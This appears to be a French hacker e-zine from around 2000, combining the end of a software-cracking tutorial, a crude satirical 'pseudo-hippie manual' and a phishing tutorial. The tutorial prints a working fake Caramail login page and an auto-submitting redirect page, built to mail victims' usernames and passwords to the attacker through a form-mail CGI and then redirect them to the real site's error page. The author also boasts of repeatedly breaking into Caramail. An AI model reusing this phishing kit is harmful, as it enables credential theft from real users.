Plus il y a d'operations dans l'algo et plus le temps qu'il faudra pour deplomber le protection
est long.
J'ai ecris une protection en Delphi qui a ce jour n'est toujours pas cracker..

ACiD BuRN's Challenge.

L'algo est tres complique , fait plus d'une centaine de ligne en Delphi donc enormement plus
en Assembleur..
Meme avec les sources , je suis incapable de le cracker :-p
hehe, donc voila tout est dis.
Voici a quoi ressemble mon algo : (je met juste 2 lignes de l'algo , il en contient 100 du meme
style lol)

------------------------------------------------------------------------------------------

b:=b+c*a*345 xor (3423483+(a*242564 mod c));
key6:=copy(inttostr(abs(strtoint(key6) xor z2 shl strtoint(key2))),length(key6)-4,3);
..............

------------------------------------------------------------------------------------------

C'est pas une seule addition donc :) hehehe...

Sinon , l'auteur peut obter pour un code qui depend du nom de la personne..
La aussi il faut faire gaffe a l'algo.
Deja faire un code qui depends du numero du disque dur est une bonne idée hehe.
Faire que le programme vous donne une valeur calculé en fonction du disque dur du mec.
Celui qui desire s'enregistrer donne ce numero, et son nom ( ou pseudo).
La avec un programme a part , vous generez le code valide pour ces informations et les renvoyes
au mec!
Il ne poura pas donner son code a ses amis car le numero depend du disque dur hehe ;)
L'algo ne doit en aucun cas faire moins de 10 lignes , a part si c'est une sorte de cryptage
compliqué..

Pour exemple , la derniere protection que j'ai ecrite en C++ avec assembleur inline fait 1400
lignes d'assembleur...
Avec des Matrices....
Il ne faut pas avoir peur de coder :)
Il faut aussi eviter que le code valide soit comparer directement avec le code entré par la
personne car c'est trop facile a cracker ca :-p
Un peu de maths et de cryptage devrait arranger l'affaire :)


####################################################

13 conseils en vrac

####################################################




1) Ne jamais utiliser de fichiers avec des noms qui veulent tout dire comme :
CodeEnregistrement.txt ou meme des procedures avec des noms comme : BonCodeOuMauvaisCodeVerif

2) Attendre un peu avant de dire a l'utilisateur qu'une violation de son programme a été
faite...

3) Utiliser des checksums ou CRC dans les executables et Dll... ( ou tout autre fichiers
sensibles)

4) Faire des pauses d'une ou deux secondes apres que le code est été entré pour eviter le
brute forcing directement par le programme lui meme ( modifié par le cracker)

5) Enregistrez les numeros de serie dans des places non communes ( pas dans le fichier INI ,
ou dans la base de registre)

6) Enregisrez les numeros de serie a plusieurs endroit different.

8) Controlez les numeros de serie a different endroit du programme et aleatoirement dans un
des endroits ou il est placé.

9) Utilisez des anti debuggeurs , sans avertir l'utilisateur que vous avez detecté quelque
chose et fermez tout au bout de quelques secondes apres le chargement.. (c'est contre les
petits crackers ca.)

10) Utilisez des chaines de caracteres qui ne servent a rien mais avec des noms qui sont
allechant:

"le numero de serie incorrecte"
"Merci de votre soutiens"
"Vous etes desormais Enregistré"

Placez ce genre de phrases dans une variable de type string et n'y touchez plus , ces
phrases seront visibles au cracker si il desassemble l'executable et se croira en presence de
choses importantes alors que se ne sont que des Leures! lol

11) Flooder le cracker avec des fausses procedures de cryptage qui sont des leures..

12) faites references a des fichiers manquant qui ne servent a rien : Licence.key.
Faites des operations sur ce fichier , mais qui n'amenent a rien dans l'enregistrement de
l'application le cracker se croira en presence d'un keyfile.

13) Crypter vos executables avec un bon packer pour eviter le simple patching mais cela
n'empeche pas le Loader patcher...
Evitez les vielles versions de Aspack , UPX ( toutes versions) , Petite , PEcrypt ..


Je pourais vous donnez des centaines de conseils mais ceux la sont assez importants et
eviteront que vous vous fassiez cracker par pal mal de crackers debutant ou pas assez "bons"..


Voila ce cours arrive a sa fin et j'espere que vous l'avez apprecié autant que moi ...



IV)Conclusion:


Ce cour a été ecris en partie pour faire de la prevention au niveau protection et montrer
comme il est simple de deproteger la plus part des programmes..
J'espere que l'auteur ne prendra pas mal ce cour , qui n'a pas ete ecris pour lui faire du
tord.
Je respecte Belinux car son programme Devil's Sword est tout simplement genial et bien
programmé.
Pour expliquer pourquoi j'ai choisi ce programme , je vais donner ce que l'on peut voir dans
les Greetings de l'application:



-/-/-/-/-/-/-/-/-/--/-/-/-/-/-/-/-/-/-/-/-/-/-/-/--/-/-/-/-/-/-/-

Je vais dire quelque chose au sujet des hacks dont Caramail
fait l'objet. Les Trues Admins font parties du groupe de
personnes que je trouve vraiment dénuées de toute forme
que ce soit d'intelligence. Car monopoliser aussi longtemps
un accès non autorisé, je n'appelle pas ça des hackers et
encore moins des pirates informatiques, au contraire, moi
j'appelle ça des idiots qui ne réfléchissent pas plus loin que
leur bout de leur nez, hors un "vrai" hackeur de réagit pas
comme ça! Lui, il fait preuve de philosophie !
Au lieu de hacker, essayez de faire mieux que Caramail,
proposez des solutions actives, au lieu d'emmerder tout
le monde !

Signé : Belinux :-((((

-/-/-/-/-/-/-/-/-/--/-/-/-/-/-/-/-/-/-/-/-/-/-/-/--/-/-/-/-/-/-/-




je retiendrez ce message la :

"proposez des solutions actives, au lieu d'emmerder tout le monde ! "

Ce cour n'est il pas une solution active au probleme de securite que contient ce logiciel ?
je pense que si , c'est pour cela que je l'ai ecris...
De plus je fais partie des trues Admins, je suis le premier qui ai hacké caramail.
Je n'ai jamais donné une seule info a mes collegues pour eviter les emmerdes.
et j'ai toujours donné les failles a l'equipe de caramail pour qu'elle les bouches...
J'ai ecris un cour sur mon premier hack afin de montrer les choses a ne pas faire a ce sujet la.
J'ai hacké carmail 9 fois, en utilisant une methode similaire a partir du hack numero 2.
J'ai avertis caramail qui corrige comme ils peuvent ces failles , mais c'est toujours la meme
technique qui marche donc je n'ai pas ecris de cours a ce sujet...
D'ailleur cette technique permet de hacker pas mal de site qui donnent des services Mails.
J'ai aussi donné des failles pour planter les salons que personne n'a jamais connu.
(c'etait en Janvier, c'etait donc pas la faille du caractere "13")
Je respecte caramail et leur travail et suis tout a fait d'accord avec Belinux sur le fait
d'emmerder tout le monde.
La seule chose que j'ai tapé dans l'onglet infos c'etait : Vives les failles , hacked by ACiD
BuRN et des jolies POEMES pour ma copine.

Je n'ai jamais parlé dans l'onglet pendant des heures comme certains le font actuellement.
Ils ont enfin compris ce que je faisait il y a deja 6 mois.
Ils sont longs a la detente on dirait ... 3 jours pour moi , 6 mois pour eux...
Enfin bon, je vais arreter la...


Signed,


ACiD BuRN [ECLiPSE / Immortal Descendants]



PS: Putain !! le cour fait plus de 1480 lignes lol!! je suis DINGUE :-)

Sites WEB:

le mien : http://www.AcidBurn2K.cjb.net
celui d'un de mes groupes: http://www.ImmortalDescendants.org
(un groupe de reverse Engineers Americains pas comme les groupes de tapettes sur caramail...)

Mon mail: Acid2600@hotmail.com


Greetings to:


Céline: La plus belle , la plus douce , MA femme a moi ;) cours dedicacé a toi cherie
Belinux: Merci pour ce super client , tres bien programmé :-)
Gloom: D'apres ce que j'ai vu , tu y as bossé dessus donc tu as droit au merci ;)
Sigma_me: Tres sympa et super moderatrice ;-)
Darius.Darius: Arf :) moé j'ai arrété de jouer sur caramail, et toé ? lol
Julien813: Arretes de tout decrypter lol
Sylvain.pop: Toi aussi :-p
Caramail: Super chat vraiment :)

Le salon Informatique sur caramail et un BIG FUCK a quasi totalité du salon hacker qui est
remplis de sous merde...


Greetings to all my friends on IRC: #Cracking4newbies (English friends) , #ECLIPSE99 ...

Wait guys 'til i got a goddamn Free connections and i'm gonna idle like before :)




Mess with the Best , Die like the Rest...




-¤)-[ tHE ANALYST ]-(¤-
^^^^^^^^^^^^^^^^^^^^^^^






#
# ### #
## ### ##
#### ##### ###
##### ##### ####
###### ##### ######
###### ##### #######
#### ################### ####
#################################
##########################
##################
#########################
##############
##
##






¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤

MANUEL DU PSEUDO-HIPPIE

¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤




Tu vois moi je dis la société pô bien il faut revenir à la nature, il faut devenir un hippie.
mais tu vois devenir un hippie c' est réservé qu' aux rebelles, pas aux bourges ni à ceux qui
sont pas beaux. Tu dois respecter trois critères pour être un vrai faux hippie:

-avoir l' air pauvre
-fumer du teuch
-et t' habiller avec des vêtements moches de chez Camaïeu.

Bon si t' as compris ça t' es sur la bonne voie! Tu peux devenir un vrai faux hippie.



A new way of thinking
*********************

D' abord il faut que tu saches qu' être un hippie c' est pas se la peter sur l' apparence.
Il faut penser differemment mais pas trop non plus sinon t' es pas dans le coup. D' abord,
leçon N°1: apprend à réagir differemment face à une situation imprévue:

"Aujourd' hui, les momes, contrôle surprise! Vous allez tous avoir -5 sur 20 parce que je me
suis démmerdé pour que vous ne puissiez pas répondre aux questions."


Comment pense un blaireau comme Freirahk: "putain ce devoir je vais le réussir et après il va
me sucer jusqu' à ce que ça lui ressorte par l' anus et là on verra qui encule qui avec ce
putain de devoir de lamahs!"


Comment k' il faut penser: "Don' t worry, be happy...."

"T' es trop con. J' aime pas ta tête et en plus t' es pas comme nous, t' es pas dans la mode
et t' es maigre, tu crains."


Comment pense un blaireau comme Freirahk: "je te déchire pas la gueule parce que je suis pas
costaud, mais attend que je retourne tout le monde contre toi sale fils de pute!"


Comment k' il faut penser: "Je me fiche de ce qu' on pense de moi. J' ai qu' à dire ça comme
ça, ça justifie le fait que je m' écrase..."


"C' est pas un peu chiant d' avoir des parents chomeurs?"

Comment pense un blaireau comme Freirahk: "et toi, ça te fait pas chier d' avoir des parents
incultes?"


Comment k' il faut penser: "Je suis pas pauvre, je fais semblant d' être pauvre!"

"Tu veux pas faire partie de mon groupe de Ska-Dub-Reggae-pop-punk-rock-fusion?"

Comment pense un blaireau comme Freirahk: "un énième groupe de jeunes ados pseudo
révolutionnaires qui espèrent avoir l' air cool avec un micro? Va te jeter!"


Comment k' il faut penser: "Cool! C' est l' occasion de montrer à tous comme je peux jouer
le super anarchiste"


Bon, et si t' as compris ça, comme je le disai plus haut, t' es sur la bonne voie...



You talkin t' me?
*****************

Ah, j' oubliais une phase cruciale du processus: parler le "hippie". Si tu veux être cool et
devenir hippie en chef, tu dois parler la langue des hippies: Par exemple pour dire "salut, ça
va?"
tu dis "ça pèèèèète?". Ou alors pour dire je vais fumer" tu dis "je vais me droguer" (comme
ça t' as vraiment l' air d' un rebut de la société!). Tu dois aussi avoir des phrases toute
prêtes pour pas trop te casser le cul à faire ta propre philosophie. Pioche parmi ces phrases
pour avoir l' air cool:

-la nature tu vois, si tu la respectes, elle te respecte (et là tu fumes ton "
oinj")

-reste cool, arrête de psychoter

-te prends pas la tête, sois cool, man

-tu réfléchis trop, fume!

-legalise it!

-je fume et je suis fier de fumer! J' ai pas honte de le dire hein, moi ' assume. C' est pas
facile mais on doit se comporter en individus responsables

-qui dit "
Buzz"?

-qui veut que je lui roule une clope?

-je reviens, il faut que j' aille acheter la drogue

-no fachos!!!!!

-Bob marley président

-fume, c' est l' anarchie!!!!!

-hein? oh excuse moi j' ai niqué et fumé toute la nuit je suis un peu gaché tu vois...

Bon il y a d' autres expressions mais là c' est les plus puissantes tu vois. Ah oui, après
chaque phrase, tu dois rajouter "
tu vois". Par exemple "c' est le dernier Pink Floyd, tu vois",
"
les cours ça craint, tu vois.." ou "J' aime pas Gilbert Montagné tu vois....".



Rejet de toute forme d' autorité
********************************

Il est important pour être un hippie de rejeter tous les symboles d' autorité. Ne respecte pas
la loi, ne fais pas tes devoirs, et si tu peux, déchires quelques pages de ton agenda pour
avoir l' air d' un vrai rebelle qui se fout de tout. Bon imagine que tu te retrouves devant un
passage pieton tu fais quoi? Tu passes au feu rouge! Ou alors tu fumes et tu t' envoles et
tout.... Si ta mère te dit d' aller lui chercher des médicaments, ben t' es pas fou, tu la
laisses crever en criant "
anarchie". Et aussi quand tu peux, essaie d' écrire "fuck" sur les
tables du lycée. Grace à toi on va peut être connaître la révolution!!!

Mais il faut aussi que tu rejètes de façon non violente ceux qui sont violents. Par exemple si
quelqu' un s' amène en disant "
j' en ai marre de me faire tabasser par ces sales frimeurs, il
faut se défendre!!" Ben là tu dois répondre: "reste cool man, la violence ne résout rien..."
ou une connerie de ce genre. Si un autre gars s' amène et dit "
putain on a pas cassé assez de
fachos durant la guerre d' espagne" ben là faut que tu répondes "calme toi mec, soi non violent!
(y avait une guerre en Espagne?! Je avais pas!)". Pareil si un bouffon s' amène et dit que
parfois il faut faire des études pour faire imploser le système, ben fais lui comprendre
qu' il a tort: "
tu comprends pas, tu vois..... Les études ça sert à rien."

Courage, encore une étape à franchir et tu seras un hippie!



La tenue vestimentaire
**********************

C' est hyper supra important, il faut bien que tu montres que tu es pauvres (enfin,....que tu
aurais pu, quoi!) et que t' es obligé de porter des pulls déchirés parce que t' as pas de sous.
Donc il faudra que t' aies un max d' épingles à nourrices n' importe ou sur tes fringues, au
cas ou...on ne sait jamais..Plus elles sont grosses, mieux c' est. Pense aussi à t' en mettre
une dans l' oreille pour avoir l' air con pour de bon. C' est toujours ça de gagné!

Tes vêtements tu dois les acheter à Camaïeu car eux ils commencent à capter la mode et donc tu
devrais trouver des pantalons minables si t'es une fille, ou des baggy 700 FF chez Quiksilver
si t'es un gars. C'est hyper important de s' habiller comme ça, sinon tu peux pas faire partie
de l' ADFSF (Association Des Fumeurs de Shit Français).

Après il va falloir que tu arranges tes vêtements en fonction de ton "
style". Si t'es un
skateur, déchire légèrement le pantalon à des endroits stratégiques: les genoux (pour montrer
que tu te ramasses donc tu skates) et au cul (pour montrer que tu te fais enculer donc tu
suces). Si t'es autre chose qu' un skateur (un fumeur tout simplement), il faudra que tu
déchires ton tee shirt (si possible un tee shirt à 150 balles) et que tu racontes une anecdote
à son sujet: "
oui tu vois c' est parce qu' un jour il y a eu une pluie acide et mes fringues
elles ont tout pris". Parce que si tu dis pas ça on va croire que t' es encore un de ces sales
pseudo hippies!








=><(- Der Freirahk -)><=
^^^^^^^^^^^^^^^^^^^^^^^^



#
# ### #
## ### ##
#### ##### ###
##### ##### ####
###### ##### ######
###### ##### #######
#### ################### ####
#################################
##########################
##################
#########################
##############
##
##









¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤

WEB ENGINEERING

¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤



Un jour, je découvre qu'un mec envoi au abonnés de Hotmail un E-mail en html qui leur
fait croire qu'ils ont été déconnectés à cause de je ne sais plus quelle raison.

Quand la personne qui avait reçu le mail remplissait les champs : pseudo et mot de passe
ça envoyait le information sur un scripte cgi (script cgi= c'est un mini programme le plus
souvent écrit en perl).

Ce script envoyait ces mêmes infos à une adresse E-mail mais sans passer par une
messagerie.

Je pense que vous avez tout un jour entendu parler du truc ou il faut remplacer le truc
de cara par mailto:votrepseudo@votreserveur.com ben c'est bien joli mais sa sert à rien :
ça ouvre Outlook (ou la messagerie par défaut du mec) mais le plus con des internautes vas se
douter de qqch.

Alors je me dit ben click droite sur la page de cara on remplacé la partie action par le
truc qui envoie sur le cgi. Mais faut croire que cara y avait penser ou n'est pas assez
perfectionner pour envoyer un message comme celui la en html. Alors comme j'avais déjà lu un
livre sur le html je me suis dit ben on vas pas se laisser baiser comme ça.

Alors j'ai fais quoi ? ben j'ai repris ma fausse page cara j'ai ouvert un site chez
citeweb.net et je l'ai héberger.

Mais le problème c'était comment envoyer le mec de chez cara dessus .

Vous avez déjà tous vue ces site : nous avons changer d'adresse vous aller être
rediriger dessus dans 10sec .

Ben j'ai fais la même chose mais pas dans 10sec ,tout de suite le mec ouvre le mail sa
le redirige sur ma page héberger chez citeweb.net il crois que cara a planter (un peu comme
d'habitude) il remplie les champs et voilà tout arrive chez moi par mail. Mais la un 2eme
problème chez le mec après avoir remplie la page ça fait rien .

Il vas se douter de qqch c'est là que j'utilise un de nombreuse option de se merveilleux
langage qu'est le html.

L'option "
 redirige " comme son nom l'indique ça le redirige sur une autre page et la
je mais la valeur de la page qui s'affiche quand on se trompe de mot de passe chez cara le mec
crois qu'il a fait une faute de frappe il retape et la il entre normalement chez cara et moi
j'ai son mot de passe.


Voilà les deux source html.


La 1er celle qui vous redirige sur la fausse page cara.


<HTML>
<HEAD>
<TITLE>1</TITLE>
<META NAME=GENERATOR CONTENT="">
<X-CLARIS-WINDOW TOP=52 BOTTOM=607 LEFT=8 RIGHT=538>
<X-CLARIS-TAGVIEW MODE=minimal>
</HEAD>
<BODY TEXT="
#000099" BGCOLOR="#CCCCCC" onload="document.capabilities.submit();">
<P><BR>
<BR>
<HEAD><BR>
<TITLE></TITLE><BR>
<X-CLARIS-WINDOW TOP=0 BOTTOM=607 LEFT=0 RIGHT=1012><BR>
<X-CLARIS-TAGVIEW MODE=minimal><BR>
<ME*TA content="
text/html; charset=windows-1252" http-equiv=Content-Type><ME*TA <BR>
<BR>
<SCR*IPT language=JavaSCR*IPT><!--<BR>window.onerror = ignore;<P>function ignore()<BR>{<BR>}
<P>function testMimeTypes()<BR>{<P>}<P>function testCookie()<BR>{<BR>document.cookie="
test=ok";
<BR>if(document.cookie.length>0 && document.cookie.indexOf("
test=ok")>-1)<BR>
{<BR>document.capabilities.cookieenabled.value="
true";<BR>return;<BR>}<BR>}<P>// -->
</SCR*IPT><BR>
</HEAD><BR>
<BR>
caraunix erreur.</P>

<P>Please wait... <FORM ACTION="
http://www.hebergeur.com/pseudo/faussepagecara.html"
METHOD=POST name=capabilities>
<P><BR>
</P>

<P><INPUT TYPE=hidden NAME=sessionkey VALUE=958506056832><BR>
<INPUT TYPE=hidden NAME=command VALUE=scanbrowser><BR>
<INPUT TYPE=hidden NAME=jsversion VALUE="
1.0"><BR>
<INPUT TYPE=hidden NAME=javaenabled VALUE=true><BR>
<INPUT TYPE=hidden NAME=mimetypes VALUE=VALEUR><BR>
<INPUT TYPE=hidden NAME=plugins VALUE=VALEUR><BR>
<INPUT TYPE=hidden NAME=cookieenabled VALUE=false><BR>
<INPUT TYPE=hidden NAME=hastoolbar VALUE=true><BR>
<INPUT TYPE=hidden NAME=clientip VALUE=VALEUR><BR>
<INPUT TYPE=hidden NAME=clientname VALUE=VALEUR><BR>

</FORM> <SCR*IPT LANGUAGE="
JavaSCR*IPT1.1"><!--<BR>document.capabilities.jsversion.value="1.1";
<BR>// --></SCR*IPT>
<SCR*IPT LANGUAGE="
JavaSCR*IPT1.2"><!--<BR>document.capabilities.jsversion.value="1.2";
<P>// --></SCR*IPT>
<SCR*IPT LANGUAGE=JavaSCR*IPT><!--<BR>testMimeTypes();<BR>testCookie();<P>// --></SCR*IPT></P>

<P><BR>
</P>
</BODY>
</HTML>


la 2ème la fausse page caramail.com


<HTML>
<!--This file created 20:45 19.06.00 by Claris Home Page version 3.0This file created 20:46
19.06.00 by Claris Home Page version 3.0This file created 20:49 19.06.00 by Claris Home Page
version 3.0-->
<!--This file created 17:01 22.06.00 by Claris Home Page version 3.0-->
<HEAD>
<TITLE>Caramail</TITLE>
<META NAME=GENERATOR CONTENT="
Claris Home Page 3.0">
<X-CLARIS-WINDOW TOP=52 BOTTOM=607 LEFT=8 RIGHT=538>
<X-CLARIS-TAGVIEW MODE=minimal>
<SCRIPT language=Javascript><!--
function OpenWin() {
window.open('loi.asp', 'Aide','width=400,height=220,resizable=no,scrollbars=no,status=no')
}
//--></SCRIPT><script LANGUAGE="
JavaScript">document.Ident.LOGIN1.focus();

var zz;

x = new Date();
if (x.getYear()< 1000)
document.Ident.TZ.value = x.getYear() + 1900;
else
document.Ident.TZ.value = x.getYear();
zz = '00' + (x.getMonth() + 1);
document.Ident.TZ.value += zz.substring(zz.length - 2, zz.length);
zz = '00' + x.getDate();
document.Ident.TZ.value += zz.substring(zz.length - 2, zz.length);
zz = '00' + x.getHours();
document.Ident.TZ.value += zz.substring(zz.length - 2, zz.length);
zz = '00' + x.getMinutes();
document.Ident.TZ.value += zz.substring(zz.length - 2, zz.length);</script>
</HEAD>
<BODY BGCOLOR="
#FFFFFF" LINK="#000000" VLINK="#000000">
<CENTER><TABLE BORDER=0 BGCOLOR="
#F0E8CC" CELLSPACING=0 CELLPADDING=0>
<TR>
<TD ALIGN=center WIDTH=134 BGCOLOR="
#CCCCFF">
<P><IMG SRC="
http://imgsrv.caramail.com/images/caramail.gif" WIDTH=112 HEIGHT=51
ALIGN=bottom></P>
</TD>
<TD ALIGN=center COLSPAN=7 WIDTH=470 BGCOLOR="
#FFFFFF">
<P>
<A HREF="
http://adclick.caramail.com/cgi-bin/redirect?TYPE=PUB&FROM=6&IDBANDEAU=
ANG01&TARGET=www.annoncesgratuites.com" TARGET="_blank">
<IMG SRC="
http://ad.caramail.com/pub/ANG01.gif" WIDTH=468 HEIGHT=60 BORDER=0 ALIGN=bottom>
</A><IMG SRC="
http://195.25.89.17/caramail_v?total" WIDTH=1 HEIGHT=1 BORDER=0 ALIGN=bottom>
<SCRIPT LANGUAGE=""><!--
tps = new Date();
if (tps.getSeconds() < 4) {
document.write("
<IMG SRC=\"http://195.25.89.18/caramail_p?" + tps.getMinutes() + "0" +

tps.getSeconds() + "_accueil" + "\" WIDTH=\"1\" HEIGHT=\"1\">");}
// --></SCRIPT><NOSCRIPT></P>

<P>
<IMG SRC="
http://195.25.89.18/caramail_p?noscript_accueil" WIDTH=1 HEIGHT=1 ALIGN=bottom></P>

<P></NOSCRIPT></P>
</TD>
</TR><FORM ACTION="
http://www.lecgi.net/public/form_mail.cgi" METHOD=POST>
<P>
<INPUT TYPE=hidden NAME=destinataire VALUE="
votrepseudo@votrehebergeur.com">
<INPUT TYPE=hidden NAME=sujet VALUE=passe caramail>
<INPUT TYPE=hidden NAME=redirige
VALUE="
http://www17.caramail.com/general.asp?N=7375&C=2493&ERROR=1">
<TR BGCOLOR="
#FFFFFF">
<TD ALIGN=center VALIGN=bottom WIDTH=134 BGCOLOR="
#CCCCFF">
<P> </P>
</TD>
<TD VALIGN=bottom WIDTH=76>
<P><IMG SRC="
http://imgsrv.caramail.com/images/vide.gif" WIDTH=76 HEIGHT=1
ALIGN=bottom></P>
</TD>
<TD VALIGN=bottom WIDTH=72>
<P><IMG SRC="
http://imgsrv.caramail.com/images/vide.gif" WIDTH=72 HEIGHT=1
ALIGN=bottom></P>
</TD>
<TD VALIGN=bottom WIDTH=40>
<P><IMG SRC="
http://imgsrv.caramail.com/images/vide.gif" WIDTH=40 HEIGHT=1
ALIGN=bottom></P>
</TD>
<TD VALIGN=bottom WIDTH=58>
<P><IMG SRC="
http://imgsrv.caramail.com/images/vide.gif" WIDTH=58 HEIGHT=1
ALIGN=bottom></P>
</TD>
<TD VALIGN=bottom WIDTH=22>
<P><IMG SRC="
http://imgsrv.caramail.com/images/vide.gif" WIDTH=22 HEIGHT=1
ALIGN=bottom></P>
</TD>
<TD VALIGN=bottom WIDTH=50>
<P><IMG SRC="
http://imgsrv.caramail.com/images/vide.gif" WIDTH=50 HEIGHT=1
ALIGN=bottom></P>
</TD>
<TD VALIGN=bottom WIDTH=152>
<P><IMG SRC="
http://imgsrv.caramail.com/images/vide.gif" WIDTH=151 HEIGHT=1
ALIGN=bottom></P>
</TD>
</TR>
<TR>
<TD ALIGN=center VALIGN=top ROWSPAN=2 WIDTH=134 BGCOLOR="
#CCCCFF">
<P>
<A HREF="
http://adclick.caramail.com/cgi-bin/redirect?TYPE=PUB&FROM=32&IDBANDEAU=
BUY09&TARGET=www.buycentral.com/fr" TARGET="_blank">
<IMG SRC="
http://ad.caramail.com/pub/BUY09.gif" WIDTH=100 HEIGHT=60 BORDER=0 ALIGN=bottom>
</A> </P>
</TD>
<TD VALIGN=bottom WIDTH=76 BGCOLOR="
#FFFFFF">
<P> </P>
</TD>
<TD VALIGN=bottom ROWSPAN=3 COLSPAN=2 WIDTH=112>
<P><IMG SRC="
http://imgsrv.caramail.com/images/cara1.gif" WIDTH=112 HEIGHT=136
ALIGN=bottom></P>
</TD>
<TD VALIGN=bottom COLSPAN=3 WIDTH=130>
<P><IMG SRC="
http://imgsrv.caramail.com/images/cara2.gif" WIDTH=130 HEIGHT=80
ALIGN=bottom></P>
</TD>
<TD ALIGN=center VALIGN=top WIDTH=152 BGCOLOR="
#FFFFFF">
<P><A HREF="
http://adclick.caramail.com/cgi-bin/redirect?TYPE=
PUB&FROM=31&IDBANDEAU=RDC21&TARGET=www3.rueducommerce.fr/info/showdetl.cfm%3F%26Product_ID=
324956%26DID=6%26PartenaireID=1" TARGET="_blank">
<IMG SRC="
http://ad.caramail.com/pub/RDC21.gif" WIDTH=100 HEIGHT=60 BORDER=0 ALIGN=bottom>
</A></P>
</TD>
</TR>
<TR><TD VALIGN=bottom WIDTH=76 BGCOLOR="
#FFFFFF">
<P><IMG SRC="
http://imgsrv.caramail.com/images/vide.gif"
WIDTH=76 HEIGHT=35 ALIGN=bottom></P>
</TD>
<TD ALIGN=center VALIGN=bottom ROWSPAN=2 COLSPAN=2 WIDTH=80>
<P><FONT SIZE="
-1"><INPUT TYPE=text NAME=LOGIN1 VALUE="" SIZE=8 MAXLENGTH=50><BR>
<INPUT TYPE=password NAME=PASSWORD1 VALUE="" SIZE=8 MAXLENGTH=8></FONT></P>
</TD>
<TD VALIGN=bottom ROWSPAN=2 WIDTH=50>
<P><IMG SRC="
http://imgsrv.caramail.com/images/cara3.gif" WIDTH=50 HEIGHT=56
ALIGN=bottom></P>
</TD>
<TD ALIGN=center VALIGN=bottom ROWSPAN=2 WIDTH=152 BGCOLOR="
#FFFFFF">
<P><IMG SRC="
http://imgsrv.caramail.com/images/droite.gif" WIDTH=152 HEIGHT=20
ALIGN=bottom></P>
</TD>
</TR>
<TR>
<TD VALIGN=bottom COLSPAN=2 WIDTH=210 BGCOLOR="
#FFFFFF">
<P><IMG SRC="
http://imgsrv.caramail.com/images/hgauche.gif" WIDTH=210 HEIGHT=21
ALIGN=bottom></P>
</TD>
</TR>
<TR>
<TD ALIGN=center VALIGN=top WIDTH=134 BGCOLOR="
#000040">
<P><IMG SRC="
http://imgsrv.caramail.com/images/bgauche.gif" WIDTH=134 HEIGHT=19
ALIGN=bottom></P>
</TD>
<TD VALIGN=bottom ROWSPAN=2 WIDTH=76 BGCOLOR="
#000000">
<P> </P>
</TD>
<TD VALIGN=top ROWSPAN=2 WIDTH=72>
<P><IMG SRC="
http://imgsrv.caramail.com/images/cara4.gif" WIDTH=72 HEIGHT=106
ALIGN=bottom></P>
</TD>
<TD ALIGN=center VALIGN=top COLSPAN=2 WIDTH=98>
<P><INPUT TYPE=submit NAME=Enter VALUE="
Entrer "></P>
</TD>
<TD VALIGN=top ROWSPAN=2 COLSPAN=2 WIDTH=72>
<P><A HREF="
/Bin/CreationCompte2/FormulaireNomPrenom.asp">
<IMG SRC="
http://imgsrv.caramail.com/images/cara6.gif" WIDTH=72 HEIGHT=106 BORDER=0
ALIGN=bottom></A></P>
</TD>
<TD VALIGN=top ROWSPAN=2 WIDTH=152 BGCOLOR="
#000000">
<P> </P>
</TD>
</TR>
<TR>
<TD ALIGN=center VALIGN=top ROWSPAN=2 WIDTH=134 BGCOLOR="
#000040">
<P><A HREF="
http://adclick.caramail.com/cgi-bin/redirect?TYPE=PUB&FROM=33&IDBANDEAU
=CDI27&TARGET=www.cdiscount.com/default.asp%3Frefer=caramail" TARGET="_blank">
<IMG SRC="
http://ad.caramail.com/pub/CDI27.gif" WIDTH=100 HEIGHT=60 BORDER=0 ALIGN=bottom>
</A> </P>
</TD>
</A><TD VALIGN=bottom COLSPAN=2 WIDTH=98>
<P><A HREF="
/Bin/CreationCompte2/FormulaireNomPrenom.asp">
<IMG SRC="
